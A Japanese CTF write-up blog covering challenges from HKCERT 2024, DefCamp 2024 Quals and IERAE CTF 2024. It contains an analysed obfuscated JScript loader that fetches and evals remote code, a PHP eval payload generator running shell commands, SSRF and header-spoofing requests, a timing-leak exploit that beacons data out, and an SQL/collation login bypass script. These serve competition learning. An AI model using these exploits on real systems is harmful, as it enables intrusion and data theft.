                new U("System.Security.Cryptography.ToBase64Transform")["TransformFinalBlock"](
                                new U("System.Security.Cryptography.SHA256Managed")["ComputeHash_2"](enc["GetBytes_4"](b)),
                                i,
                                Math.min(3, 32 - i)));
return res;
}
function main() {return S["lave"[Z](str)[W](1024)[Y](str)](atob("K0gCNoQD7kyco0VKyR3co0VWblCNyATMo01Vblic0NHKdp1WiUmdhxmIbNFIpISPv9SVzQTQvRmeCZ3Zzx2N4VGMSJFTxBncvk1bzZzKFVFOyZ2NxUXRzkFbnJCI90TPgkycoYTNyEGazhCImlGI7UWdsFmVkVGc5RVZk9mbukCMo0WZ0lmLpcycv8yJoMXZk9mT0NWZsV2cu02bkBSPgMHI7kyJ0hHduETZslmZ0NXan9CZ3MmY1QWNmdDZidTO5UGNjVWZ3gDO2YzYjNWZ5YjMyETYhNmNhRWYvcXYy9SYmRjNldTNwM2YlVjY1kjN5UTOwYDMmFGOyU2MzkTZh9yYwsmbhlnbv02bj5CduVGdu92YyV2c1JWdoRXan5Cdzl2Zv8iOzBHd0h2JoQWYvxmLt9GZgsTZzxWYmBSPgMmb5NXYu02bkByOpISTPRETNJCIrASUgsCIi4Cdm92cvJ3Yp1kIoUFI3Vmbg0DIt9GZ"[Z](str)[W](1024)[Y](str)))}
try {
main();
window.close();
} catch (e) {}

"lave"[Z](str)[W](1024)[Y](str)eval になることに気をつけつつ、部分的にコードを実行して main の処理を読み解いていく。すると、次のようなコードが eval されていることわかった。

dom = new U("Microsoft." + Q + "MLDOM"); dom.async = false; dom.load('https://gist.githubusercontent.com/nyank0c/ae933e28af060959695b5ecc057e64fa/raw/ada6caa12269eccc66887eec4e997bd7f5d5bc7d/gistfile1.txt'); s = dom.selectNodes('//s').item(0).nodeTypedValue; if (sha256(s) === "glY3Eu17fr8UE+6soY/rpqLRR0ex7lsgvBzdoA43U/o=") S["lave"[Z](str)[W](1024)[Y](str)](s);

出てきたGistのコード中にフラグが含まれていた。

hkcert24{mEow-meOw-me0W-ma1ware}

[Misc 255] Tuning Keyboard 5 (5 solves)

🫵(^v^)jm9.....?

添付ファイル: tuning-keyboard-5_0a98633513cf54dd1144131d6eec2f73.zip

与えられたファイルを展開すると、HTMLが出てくる。これを開くと次のような怪文書が出てきた。なんだこれは。

一応フォームになっているのだけれども、送信先はバカテスの音MADで特に意味はなさそう。

この問題は続き物で、5.5という問題サーバも用意されているバージョンがある。こちらも似たようなものだ。

ただ、フォームの送信先が違う。これを送信すると 5.5 と表示された。どういうことかと何文字か削って送信すると 5 と表示される。木木木木 を送信すると 5555 と表示される。うーん。 だけだと syntax error, unexpected '.', expecting ';' とPHPのエラーが表示された。

もしかして、これらのテキストに含まれる漢字の一部が 5. といった文字に置換され、PHPのコードとして eval されているのではないか。5.5のテキストに含まれるものでは しか置換の対象でなく、それ以外は無いものとして扱われていそうだ。

この2つの漢字の関連性は我々にとっては明らかだ。最終的に 5()^. と対応していることがわかった。5のテキストをこれらの記号に置換するスクリプトを用意する。

import re
with open('tuning-keyboard-5_0a98633513cf54dd1144131d6eec2f73/flag.html', 'rb') as f:
    s = f.read().decode('utf-8')
s = ''.join(re.findall(r'[火水木金土]', s))
s = s.translate(str.maketrans({
    '火': '(',
    '水': '.',
    '木': '5',
    '金': '^',
    '土': ')',
}))
print(s)

これを eval するとフラグが得られた。

$ (echo '<?php '; python3 s.py; echo ';') > a.php; php a.php
hkcert24{vvH@CKKX.c5fe25896e49ddfe996db7508cf00534|}
hkcert24{vvH@CKKX.c5fe25896e49ddfe996db7508cf00534|}

[Misc 444] Tuning Keyboard 5.5 (3 solves)

🫵(^v^)jm9.....?

Tuning Keyboard 5の続きだ。何も入力せずに問題サーバで送信すると、次のようにPHPコードが表示された。なるほど、8800文字以下でなければならないという制約で、flag.php を手に入れる必要があるらしい。そんなことできるだろうか。

<?php require("flag.php");(mb_strlen($v=$_POST["v"])<=(55*5)<<5&&$x=v($v))?print_r(eval("return $x;")):header("Location: flag.html")||show_source(__FILE__);

5 の代わりに 9 が使われているけれども、ほとんど似たようなことを成し遂げているphpf*ckというプロジェクトがある。この一部を置き換えればよいのではないかと考える。

phpf*ckはまず、次のように数値を作って、さらにそれを切り取って数字を作っている。ただ、これが 9 でなく 5 だとなかなか短いパターンが見つからない。

# …
p['INF9'] = '('+'9'*309+').(9)'
p[9] = '9'
p[0] = '9^9'
p['99'] = '(9).(9)'                            # (9).(9) == '99'   //concatenates '9' and '9'
p[106] = '9^99'
# …
p[3] = gen_xor(p[51], p['48'])                 # 51 ^ '48' === 3   //'48' gets cast to 48
p['00'] = gen_concat(p[0], p[0])
p['080'] = gen_concat(p[0], p['80'])
p['01'] = gen_xor(p['00'], p['080'], p['09'])  # '00' ^ '080' ^ '09' === '01'
p[1] = gen_xor(p['01'], p[0])                  # '01' ^ 0 === 1    //'01' gets cast to 1
p[2] = gen_xor(p['01'], p[3])
p[8] = gen_xor(p['01'], p[9])
# …

ちょっと悩んで、Tuning Keyboard 5のコードを解析し、短いパターンをパクればよいのではないかと考える。結果として、次のような変換テーブルができあがった。

# …
p['INF5'] = '('+'5'*309+').(5)'
p[5] = '5'
p['55'] = '(5).(5)'
p[0] = '5^5'
p[3] = '(5^5).(5555^555)^(5).(5)^(5).(5)^5'
p[1] = '(555^55).(5)^(5).(5)^(5).(5)^55'
p[6] = gen_xor(p[5], p[3])
p[4] = '(555^55).(5)^(5).(5)^(5).(5)^55^5'
p[2] = '((55555^55).(5)^(55).(5)^(55).(5)^555^5)'
p[7] = '(55555^55).(5)^(55).(5)^(55).(5)^555'
# …
p['rt'] = '((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^((55).(.5)^555^5).((55).(.5)^555^5)^((5^5).(5555^555)^(5).(5)^(5).(5)^.5).((55555^55).(5)^(55).(5)^(55).(5)^555))'
# …
p['CHr'] = '(((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^((55).(.5)^555^5).(5)^((55555^55).(5)^(55).(5)^(55).(5)^555^5).((5^5).(5555^555)^(5).(5)^(5).(5)^5)).((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^((55).(.5)^555^5).(5)^((5^5).(5555^555)^(5).(5)^(5).(5)^.5).(5)^(((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^((55).(.5)^555^5).((55).(.5)^555^5)^(5^5).((555^55).(5)^(5).(5)^(5).(5)^55)).((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^(5).((5^5).(5555^555)^(5).(5)^(5).(5)^.5)))(5)))'
# …

さらに縮めるべく、なるべく短いコマンドで flag.php の内容を得られるよう、od * を実行するコードを生成する。

ex = gen_str_caseinsensitive('system')
PAYLOAD = 'od *'
evald_function = gen_funccall(ex, gen_str(PAYLOAD))
with open('a.php', 'w') as f:
    f.write('<?php ' + evald_function + ';')

p = evald_function.translate(str.maketrans({
    '(': '火',
    '.': '水',
    '5': '木',
    '^': '金',
    ')': '土',
}))

import httpx
r = httpx.post('https://(省略)/', data={
    'v': p
})
print(r.text)

これで無事にカレントディレクトリのすべてのファイルについてその内容が得られた。この中で、コメントとして次のようにフラグが含まれていた。

// …
        "𬫨" => "((^",
        "𭪳" => ".55",
        "𮢅" => "^55"
        //Flag
        //"旗" => "hkcert24{55555...IdontThikUcant3v4lThis...:index_pointing_at_the_viewer:(^v^)jm9.....?}"
// …
hkcert24{55555...IdontThikUcant3v4lThis...:index_pointing_at_the_viewer:(^v^)jm9.....?}

*1:なぜかユーザ名に6文字以上でなければならないという制約があり、仕方がないので適当に長くした

*2:交通費や宿泊費はすべて向こう持ちらしい

*3:フラグの表記揺れを受け止めようという気概が感じられない

DefCamp CTF (D-CTF) 2024 Quals writeup

9/27 - 9/29という日程で開催された。BunkyoWesternsのst98として参加して4位。早々に(3番目に)全完していたし問題の追加もないというアナウンスを確認していたので、3位は確定かと思っていたが、後から抜かれてしまった。どういうことかと思ったら、1位のチームはスコアサーバのマズい脆弱性を見つけており、これでボーナスポイントをもらっていたらしい。

Qualsと名前に付いていることからわかるように、決勝大会は11/28 - 11/29でブカレストで開催される。形式はA&Dらしい。15チームが予選から招待されるということなのでおそらく通過できているが、参加するかについてはどうだろう。"Full or partial accommodation reimbursement will be provided" ということなので、旅費支援については宿泊費のみっぽいし。


[Web 50] oracle-srl (133 solves)

[ 5 aug 2024 ] Just finished my ecommerce website. It took quite a lot of time because I wanted to make sure it's extra secure, I'm sure it will get some traction. I'm so excited!
[ 20 aug 2024 ] The website isn't picking up as i hoped it would, but I'm still optimistic
[ 13 sep 2024 ] The store is a complete bust and there is this annoying customer that keeps on checking my store every other damn minute but doesn't buy anything.
[ 13 sep 2024 ] JUST BUY SOMETHING!

Flag format: CTF{sha256}

添付ファイル: source-oracle-srl.zip

HardだとかCryptographyだとかタグが付いていて不穏だが、やけにsolves数が多かった。どういうことかと思いながらも添付ファイルを展開すると Oracle-SRLsource-oracle という2つのディレクトリが出てくる。ただ、それらのディレクトリに含まれるファイルはほとんど同じに思える。diffを見ると前者には solver というディレクトリがあったり、client/client.go にはフラグが含まれていたりした。これを投げると通った。

配布用のファイルだけでなく、デプロイ用のファイルまでまとめて配布してしまったのだろう。それだけならフラグを差し替えればよいだけだけれども、ソルバまで配布してしまったのでリベンジ問を出すのも難しい状況のようだった。かわいそう。

func CheckProducts() {
    browser := rod.New().MustConnect()
    defer browser.MustClose()

    flag_owner_session_token, err := session.GenerateSessionToken("antal.alexandru@bit-sentinel.com", "CTF{e663b007e3d1fd27f657e2756e3ba8724a37119d145063ce541595988b6cdc72}", controllers.Key)
    if err != nil {
        panic(err)
    }
// …
CTF{e663b007e3d1fd27f657e2756e3ba8724a37119d145063ce541595988b6cdc72}

[Web 170] noogle (67 solves)

Last week I decided to create my own search engine. It was kinda hard so i piggybacked on another one. I also tried something on port 8000.

Flag format: CTF{sha256}

ブラックボックス問らしい。うーん。とりあえず問題サーバにアクセスすると、次のようなページが表示された。適当なクエリで検索すると、Googleと同じ結果が返ってくる。

DevToolsでNetworkタブを見ていると、/api/getLinks というAPIを叩いている様子が確認できた。リクエストボディは {"url":"https://www.google.com/search?q=a"} というような感じで、指定したURLにHTTPリクエストを送り、そのレスポンスを返してくれているような感じがある。

問題文を見るに localhost:8000 を叩けばよいのだろうと思うけれども、ただ urlhttp://localhost:8000 に変えても "Invalid url" と怒られてしまう。検証の結果、https://www.google.com/ から始まっていなければ受け付けてくれないことがわかった。https://www.google.com/ 下でOpen Redirectはできないだろうか。

悩んでいると、文京区でそこらへんを歩いていた野良猫が、https://www.google.com/amp/s/example.com のようにAMPを使うことでGoogleから脱出できることを見つけた。localhost:8000 ではダメだが、以下のようにリダイレクトならばいけた。

<?php
header('Location: http://localhost:8000');
CTF{9cf16d163cbaecc592ca40bee3de4b1626ee0f4a3b3db23cbd5ad921049ebc0f}

[Web 280] production-bay (46 solves)

Some powerful proxy protects our cat factory production bay, but the strange thing is that we edited some nginx config in the platform to protect our /flag route, and things do not look as secure as expected.

Flag format: ctf{sha256sum}

これもブラックボックス。ブラックボックス嫌だなあ。アクセスするたびに別の猫の画像を表示してくれるWebアプリっぽいれども、これは /api/data/cat というAPIを叩いて画像のURLを引っ張ってきている。URLを削って /api/data にアクセスすると次のようなレスポンスが返ってきた。

{"Warning":"This is a test server, do not use in production! /debug is enabled for testing purposes.","message":"This is data from the Flask backend proxied!"}

なるほど。/api/data/debug のレスポンスは次の通り。host というクエリパラメータを追加するとよいらしい。

{"error":"Use ?host= to proxy to your host!"}

nc -lvp 8000 で待ち受けつつ試してみる。次のようなリクエストが来た。元々問題サーバに投げたヘッダを引き継ぎつつも、X-Real-IpX-Original-Host といったヘッダを追加しているらしい。

$ nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on (省略)
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Host: localhost:5000
X-Real-Ip: …
X-Forwarded-For: …
X-Original-Host: :5000
Upgrade-Insecure-Requests: 1
Accept-Language: ja,en-US;q=0.9,en;q=0.8

/flag を手に入れろと問題文で指示されている。/api/data/debug?host=localhost:5000/flag を試すと次のように怒られた。request.host:5000 だけど、そうでなくちゃんと localhost:5000 にアクセスしてねと言っているように読める。

{"request.host":":5000","status":"403: You need to access using localhost:5000"}

ならば、先程のリクエスト中に含まれていた X-Original-Hostlocalhost を仕込むとどうなるだろうか。やってみると、フラグが得られた。

$ curl http://(省略)/api/data/debug?host=localhost:5000/flag  -H "X-Original-Host: localhost"
{"flag":"ctf{89b52b00fd39c0410372b898632e6bf0648ae9f43d500762d03af9e7768bcbfd}","request.host":"localhost:5000"}
ctf{89b52b00fd39c0410372b898632e6bf0648ae9f43d500762d03af9e7768bcbfd}

[Web 370] reelfreaks (26 solves)

Some things are better to remain unseen. Unless, of course, you are a real freak.

NOTE: the website is served over HTTPS

Flag format: DCTF{}

添付ファイル: dctf_web_reelfreaks.zip

映画のウォッチリストを管理できるWebアプリが与えられている。まずフラグはどこかと flag やフラグフォーマットの DCTF で検索してみるがヒットしない。db.sqlite にようやく見つけた。どうやらIDが30の映画としてフラグが含まれているらしい。banned というフラグが立っており、一般ユーザではこの映画の詳細を確認したり、ウォッチリストに入れたりすることはできない。

sqlite> select * from movie where banned=1;
30|DCTF{fake_flag}|1337|./public/dance1.gif|1|[1]

bot.py からはadmin botの挙動がわかる。adminとしてログインし、指定されたURLを閲覧するらしい。なお、adminは先程の banned というフラグが立っている映画であっても、ウォッチリストに入れることができる。また、ここではその処理が書かれていないけれども、adminは先程のフラグをタイトルとして含む映画をウォッチリストに入れている。

from playwright.sync_api import sync_playwright
import os

def visit(url):
    with sync_playwright() as p:
        browser = p.chromium.launch(
            headless=True,
            args=[
                '--ignore-ssl-errors=yes',
                '--ignore-certificate-errors',
                '--start-maximized',
                '--disable-infobars',
                '--disable-extensions',
                '--disable-gpu',
                '--no-sandbox'
            ]
        )
        page = browser.new_page()
        page.goto("https://127.0.0.1:5000/login")

        page.fill("#username", os.getenv("ADMIN_USER") or 'admin')
        page.fill("#password", os.getenv("ADMIN_PASS") or 'admin')

        page.click("#submit")

        page.goto(url,wait_until="networkidle",timeout=60000)

        browser.close()

visit は次のように呼び出されている。https://127.0.0.1 から始めるようにしていてセキュアに見えるが、そうではない。@ から始めれば 127.0.0.1 の部分をBASIC認証のクレデンシャル部分として扱わせることができ、これによって 127.0.0.1 でない外部のページにアクセスさせることができる。

@main.route('/report', methods=['POST'])
@login_required
def report():
    url = "https://127.0.0.1" + request.form.get('movie')
    thread = threading.Thread(target=visit,args=(url,))
    thread.start()
    return 'OK'

この問題はなぜか localhost 含めHTTPSでホストされているし、以下のように SameSite=None が設定されているので、外部のページで iframe で埋め込んだとしてもCookieが飛ぶ。

    app.config['SESSION_COOKIE_SECURE'] = True
    app.config['SESSION_COOKIE_SAMESITE'] = 'None'

さて、どうやってウォッチリストに含まれる映画のタイトルを手に入れるか。実はウォッチリストでは以下のように検索もできる。DCTF{… というように検索してヒットした場合とヒットしなかった場合とで挙動は変化しないだろうか。それをオラクルとして1文字ずつフラグを手に入れられないだろうか。

大きな違いとして、映画がヒットした場合には画像が読み込まれるという点がある。これによってロード時間が変わるはずなので、iframeload イベントが発生する時間を見ることで1文字ずつフラグが手に入れられるのではないか。

@main.route('/watchlist')
@login_required
def watchlist():
    movie_ids = current_user.get_watched()
    query= request.args.get('q', '').lower()
    if query:
        movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids),Movie.title.ilike(f'%{query}%')).all()
    else:
        movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids)).all()
    for i,movie in enumerate(movies):       
        if movie.banned != False and current_user.role != 'real_freak':
            movies.pop(i)
            continue
        watched_by = movie.get_watched()
        if watched_by:
            movie.users = []
            users = db.session.query(User).filter(User.id.in_(watched_by))
            if users:
                for user in users:
                    if not user.id == current_user.id:
                        movie.users.append(user.username)
    
    return render_template('watchlist.html',movies=movies)

ということで出来上がったのが次のexploitだ。ロード時間の差異が微妙だったのでいろいろ試していたのだけれども、結果として実際にexploitの安定に寄与しているかはわからないおまじないが多い。

import time
from flask import Flask

app = Flask(__name__)

@app.route('/bbbb.php')
def bbbb():
    with open('bbbb.php', 'r') as f:
        b = f.read()
    return b

@app.route('/cccc.php')
def cccc():
    time.sleep(1000)
    return 'ok'

app.run(host='0.0.0.0', port=80, debug=True)
<body>
<form method="POST" target="poyopo">
    <input type="text" name="movie_id">
</form>
<script>
const BASE_URL = 'https://127.0.0.1:5000';

async function go(url) {
    return new Promise(r => {
        const i = document.createElement('iframe');
        i.src = url;
        const start = performance.now();
        i.onload = () => {
            const d = performance.now() - start;
            document.body.removeChild(i);
            r(d);
        };
        document.body.appendChild(i);
    });
}

function log(s) {
    navigator.sendBeacon(`/log.php?${s}`)
}

async function main() {
    let flag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_'
    const table = 'abcdefghijklmnopqrstuvwxyz0123456789{}';

    log('start');
    let cc = 0;
    setInterval(() => { log('ok' + cc++); }, 20_000);

    // 暖機運転
    for (let i = 0; i < 5; i++) {
        await go(`${BASE_URL}/watchlist?q=DCTF{po%25yo}&${Math.random()}`);
    }

    while (true) {
        let result = {};

        for (let i = 0; i < 5; i++) {
            for (const c of table) {
                if (!result[c]) result[c] = 0;
                result[c] += await go(`${BASE_URL}/watchlist?q=${flag}${c}&${Math.random()}`);
            }
        }

        let mi = -Infinity, mc = '';
        for (const [c, d] of Object.entries(result)) {
            console.log(d, c);
            if (d > mi) {
                mi = d;
                mc = c;
            }
        }

        console.log(flag + mc);
        log(`${flag.length}-${mc}`);

        flag += '_';
    }
}

main();
</script>
<img src=/cccc.php>
</body>
DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}

今回見た問題の中で一番面白かった。ただ、フラグがどのようにして格納されているかがコード等で明確に示されていなかったり、フラグが長い上に文字種が指定されていなかったり、ちょっと面倒くさいなあと思うところがあった。

CTF終了後に公式のDiscordサーバを見ていたところ、実は banned な映画はウォッチリストから閲覧できないだけで、以下の通りウォッチリストへの追加自体はできるらしかった。そして、ウォッチリストのページでは各映画についてほかにどんなユーザがそれをウォッチリストに追加しているかが表示されるので、あらかじめとても長いユーザ名のユーザのウォッチリストにフラグの含まれる映画を追加しておくことで、もうちょっといい感じにレンダリングの時間を伸ばせるらしい。

@main.route('/add_movie', methods=['POST'])
@login_required
def add_movie():
    movie_id = request.form.get('movie_id')
    if movie_id:
        movie = db.session.query(Movie).get(movie_id)
    if movie:
            user = db.session.query(User).get(current_user.id)
            watchlist = user.get_watched() 

            if movie.id not in watchlist:
                watchlist.append(int(movie_id))
                user.set_watched(watchlist)
                watched_by = movie.get_watched()
                watched_by.append(int(current_user.id))
                movie.set_watched(watched_by)
                db.session.commit()
                return "Movie added successfully :)"

IERAE CTF 2024 writeup

9/21 - 9/22という日程で開催された。BunkyoWesternsで参加して1位☝️ 我々はほとんどの問題が解けていたのだけれども、4問残っていたうちの3問がWebカテゴリ(1問はWeb+Revだが…)ということで申し訳ない気持ち。想定解法Satoooonさんの解法を見つつ復習していきたい。

以下の目次を見ると、1ポイントなのに4, 5 solvesしか出ていない問題があることがわかると思う。これらは「宿題」としてIERAE CTF 2024の告知段階から出題されていた*1もので、いずれも固定で1ポイントであるものの、事前に解いておく(別に競技中に解いてもよいが…)ことが想定されていたものだった。結局宿題を片付けていたチームはあまりいなかった*2わけだけれども。宿題は、ちゃんとやろう。


[Web 1] simple-proxy (5 solves)

シンプルなプロキシサーバ

A simple proxy server

(問題サーバのURL)

添付ファイル: simple-proxy.tar.gz

Author: Ark

問題文までシンプルだ。以下のようなシンプルなソースコードが与えられている。プロキシらしい。Dockerfile には COPY flag.txt / という記述があり、このプロキシが動くコンテナから /flag.txt というファイルの内容を取得できればよいらしいとわかる。

const description = `
This is a simple proxy server.

Usage:
curl "http://example.com" --proxy "${Deno.env.get("APP_HOST")}"
`.trim();

Deno.serve({ port: 3000 }, (req) => {
  const proxy = new Request(req.url, req);
  proxy.headers.set("X-Proxy", "1");

  return req.headers.get("X-Proxy") ? new Response(description) : fetch(proxy);
});

Denoが使われていて、また -A オプションが付与されているためにすべてのパーミッションが許可されているので、fetch('file:///flag.txt') 相当のことができれば勝ちだ。しかし、そんなことは本当にできるのだろうか。

試しに echo -en "GET file:///flag.txt HTTP/1.0\r\n\r\n" | nc localhost 3000 を投げてみるものの、400 Bad Requestが返ってきてしまい通らない。file://flag.txtfile://localhost/flag.txt 等を試してみるものの通らない。前者では req.urlhttp://flag.txt/ と入っていることがわかったので、Host ヘッダをいじってみるものの結果は変わらない。

色々いじっていると、パス名にスラッシュを入れなければ通った。

$ echo -en "GET file:flag.txt HTTP/1.0\r\n\r\n" | nc (省略) 3000
HTTP/1.0 200 OK
vary: Accept-Encoding
date: Sat, 21 Sep 2024 07:13:10 GMT

IERAE{request_target_bypa55_with_RFC9112_3.2.3}
IERAE{request_target_bypa55_with_RFC9112_3.2.3}

[Web 1] passwordless (4 solves)

パスワードのないログインシステムを作りました! これなら 100%安心安全です!

We made a password-less login system! It should be 100% safe!

(問題サーバのURL)

添付ファイル: passwordless.tar.gz

Author: tyage

メールアドレスを入力するとそこにログイン用のトークンが送信されるという形で、パスワードなしにログインできるシステムが用意されている。

ソースコードを確認する。.envFLAG=IERAE{dummy} という記述があり、環境変数にフラグがあるとわかる。Dockerfile では FROM ruby:3.2-bookwormRUN apt update && apt install -y default-mysql-server といった記述があり、Rubyでアプリが作られており、またそれと同一コンテナでMySQLが動いていることがわかる。

まず app.rb は次の通り。Sinatraで作られているらしいというのと、別途 LoginTokenUser といったクラスがあり、何やら別のファイルでORM的なことをしているらしいというのがパッと見て思うことだ。後は、params[:name].match?(/admin/i) という正規表現によるチェックで admin としてログインできないようになっているのが気になる。それから、先ほどはログイン用のトークンが指定したメールアドレスに送信されると言ったけれども、これは嘘で、send_login_token を見るとわかるようにまだ実装されていない。どうしろと。

require 'sinatra'
require 'json'
require 'ipaddr'

require './config'

# SQL文を確認したい時用
# require 'logger'
# DB.sql_log_level = :debug
# DB.loggers << Logger.new($stderr)

# ログイントークンをユーザのメールアドレスに送信する
def send_login_token(user, login_token)
  # TODO: 来年実装する
end

# Unprintableな文字が飛んできたらハッカーなので止める
before do
  params.each do |k, v|
    if /[^[:print:]]/.match?(v.to_s)
      halt 400, "Hacker detected!"
    end
  end
end

get '/' do
  send_file File.join(settings.public_folder, 'index.html')
end

post '/login' do
  content_type :json

  # adminは通常のログインフォームからはログインできない
  if params[:name].match?(/admin/i)
    return { error: 'You can\'t login as admin' }.to_json
  end

  user = User.find(name: params[:name])
  return { error: 'Not found' }.to_json if user.nil?

  # 重複しないようにIPアドレスをつけておく
  secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)
  login_token = LoginToken.create(
    user_id: user.id,
    key: SecureRandom.hex(32),
    secret: secret
  )
  send_login_token(user, login_token)

  {
    login_token_key: login_token.key
  }.to_json
end

post '/login/:key' do
  content_type :json

  login_token = LoginToken.find(key: params[:key], secret: params[:secret])
  return { error: 'Not found' }.to_json if login_token.nil?

  user = User.find(id: login_token.user_id)

  {
    user: {
      id: user.id,
      name: user.name,
      email: user.email,
      profile: user.profile
    }
  }.to_json
end

post "/register" do
  content_type :json

  user = User.create(
    name: params[:name],
    email: params[:email],
    profile: params[:profile]
  )

  {
    user: {
      id: user.id,
      name: user.name,
      email: user.email,
      profile: user.profile
    }
  }.to_json
end

config.rb は次の通り。先ほど言及していた UserLoginToken がここで定義されている。Sequelというライブラリを使っているらしい。最後の数行が重要で、admin というユーザがそのプロフィールにフラグを含んでいることがわかる。なるほど、admin としてログインするのがゴールらしい。

require 'sequel'
require 'securerandom'

# DB config
DB = Sequel.mysql2(
  host: ENV['MYSQL_HOST'] || 'mysql',
  user: ENV['MYSQL_USER'],
  password: ENV['MYSQL_PASSWORD'] || '',
  database: ENV['MYSQL_DATABASE'],
)

DB.create_table? :users do
  primary_key :id
  String :name, null: false, unique: true
  String :email, null: false, unique: true
  String :profile, null: false
end

DB.create_table? :login_tokens do
  primary_key :id
  foreign_key :user_id, :users
  String :key, null: false, unique: true
  String :secret, null: false
end

class User < Sequel::Model
end

class LoginToken < Sequel::Model
end

# Create Admin user
if User.find(name: 'admin').nil?
  User.create(
    name: 'admin',
    email: 'admin@localhost',
    profile: ENV["FLAG"]
  )
end

app.rb を眺めていると、たとえばログイントークンが正しいかどうかのチェックには LoginToken.find(key: params[:key], secret: params[:secret]) のように find というSequelのメソッドが使われているわけだけれども、引数として与えられているユーザ由来のパラメータについて、文字列であるかどうかが検証されていないことが気になった。

secret[hoge]=fuga のようなデータがPOSTされるとどうなるのだろうか。実はSequelのドキュメントでもユーザ入力には気をつけろと注意喚起がなされていて、たとえば {'a' => 'b'} のようなハッシュが渡されると、id = ('a' = 'b') のようなSQLに変わるらしい。

app.rb で「SQL文を確認したい時用」とされていた部分のコメントアウトを外し、Sequelが発行するクエリを確認できるようにしておく。その上で curl localhost:4567/login/(トークンのID) -d 'secret[a]=a' を実行してみる。すると、以下のようなSQLが実行されていることが確認できた。

web-1  | D, [2024-09-15T17:57:09.839739 #24] DEBUG -- : (0.000291s) SELECT * FROM `login_tokens` WHERE ((`key` = '1c8a7ca573477526b31ef59050a18e9ecfd0931911bd4293c6101c7d931d5bd6') AND (`secret` = ('a' = 'a'))) LIMIT 1

一見無害に見えるけれども、今回の状況では異なる。MySQLでは文字列と数値が比較された際には、文字列のほうが数値に変換される。つまり、'1hoge' = 1 が真(TRUE)となる。MySQLでは TRUE1 であるから、'1hoge' = ('a' = 'a') は真となる。

各トークンはhexの文字列であるわけだけれども、先ほど実行されていたSQLから key をフィルターする部分を取り外して実行すると、次のように 1 から始まって次にアルファベットが来るようなトークンが引っかかってしまっていることがわかる。

MariaDB [ierae]> select * from login_tokens where `secret` = ('a'='a');
+----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+
| id | user_id | key                                                              | secret                                                            |
+----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+
|  3 |       2 | 3fc04c3498ef19b7c4b5a73e63ba07c544d611e4ed715cde705c76e8131f71e5 | 1e0f2a196307dcbb1d06be89a7b061f535debf4ba20be4163346a8835959863e7 |
|  6 |       2 | 5de5aa528641b44a2ca2783764bef68bd8deaff5180915bb7039c2ce4bf029bb | 1f5047201e2023a4eadf6fb9b944942eaeecbbcb202ee73eaae2a0cd806260200 |
+----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+

1 から始まって2文字目にアルファベットが来るようなトークンが生成されるまで、admin としてのログインの試行を繰り返せばよさそうだが、そううまくはいかない。

2点問題があるけれども、まず1つ目はこれだ。トークンはランダムなhexの前に、IPアドレスを数値化したものをくっつけている。これではとても 1 から始めさせることはできない。ただ、これは、X-Forwarded-Forrequest.ip::1 にすることで回避できる。

  # 重複しないようにIPアドレスをつけておく
  secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)

2つ目の問題はこれだ。admin に対応するトークンを発行させようにも、/login では admin を含むユーザ名を投げた際に弾かれてしまう。

  # adminは通常のログインフォームからはログインできない
  if params[:name].match?(/admin/i)
    return { error: 'You can\'t login as admin' }.to_json
  end

これはまたMySQLにおける比較の挙動を利用すればよい。今回使われているテーブルでは以下のように照合順序として utf8mb4_general_ci が指定されているわけだけれども、これはたとえば 'i' = 'Í' のような比較も真となる。これでバイパスできるはずだ。

MariaDB [ierae]> select table_name, table_collation from information_schema.tables where table_schema='ierae';
+--------------+--------------------+
| table_name   | table_collation    |
+--------------+--------------------+
| users        | utf8mb4_general_ci |
| login_tokens | utf8mb4_general_ci |
+--------------+--------------------+
2 rows in set (0.000 sec)
MariaDB [ierae]> select 'admin' = 'admÍn';
+--------------------+
| 'admin' = 'admÍn'  |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.000 sec)

最終的に、次のようなexploitができあがった。

import httpx
BASE = 'http://(省略):4567'
with httpx.Client(base_url=BASE) as client:
    while True:
        r = client.post('/login', data={
            'name': 'adm\u0130n'
        }, headers={
            'X-Forwarded-For': '::1'
        })
        key = r.json()['login_token_key']

        r = client.post(f'/login/{key}', data={
            'secret[a]': 'a'
        }).json()
        if 'error' not in r:
            print(r['user']['profile'])
            break

実行するとフラグが得られた。

$ python3 solve.py
IERAE{no_password_n0_hacker}
IERAE{no_password_n0_hacker}

[Web 162] Futari APIs (81 solves)

curl 'http://(問題サーバのURL)/search?user=peroro'

添付ファイル: distfiles_futari-apis.tar.gz

Author: tyage

